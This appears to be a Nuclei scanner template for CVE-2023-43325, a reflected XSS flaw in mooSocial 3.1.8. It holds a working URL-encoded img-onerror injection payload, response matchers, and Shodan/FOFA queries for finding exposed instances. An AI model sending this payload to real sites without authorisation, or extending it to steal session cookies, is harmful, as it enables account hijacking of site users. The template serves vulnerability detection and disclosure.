A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
PoC
id: CVE-2023-43325
info:
name: MooSocial 3.1.8 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability exisits in the data[redirect_url] parameter on user login function of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the redirect_url parameter on the login page, potentially stealing user session cookies and impersonating accounts on the MooSocial platform.
remediation: |
Update mooSocial to a version newer than 3.1.8 that properly sanitizes the redirect_url parameter and encodes output in the login function.
reference:
- https://github.com/ahrixia/CVE-2023-43325
- https://nvd.nist.gov/vuln/detail/CVE-2023-43325
- https://moosocial.com/
- https://travel.moosocial.com/
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-43325
cwe-id: CWE-79
epss-score: 0.01857
epss-percentile: 0.78136
cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: moosocial
product: moosocial
shodan-query: http.favicon.hash:"702863115"
fofa-query: icon_hash="702863115"
tags: cve2023,cve,xss,moosocial,vuln
http:
- method: GET
path:
- "{{BaseURL}}/users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest"
matchers:
- type: dsl
dsl:
- 'status_code == 404'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
condition: and
# digest: 490a0046304402204da6ac8e18e6f5cb7d09855112903a3bfc199d7415acb126ffffd237b1588b7802207123629e905ea5d7ae677ea44d0085404c0d0bfe7c0256c717248e94be527cc4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.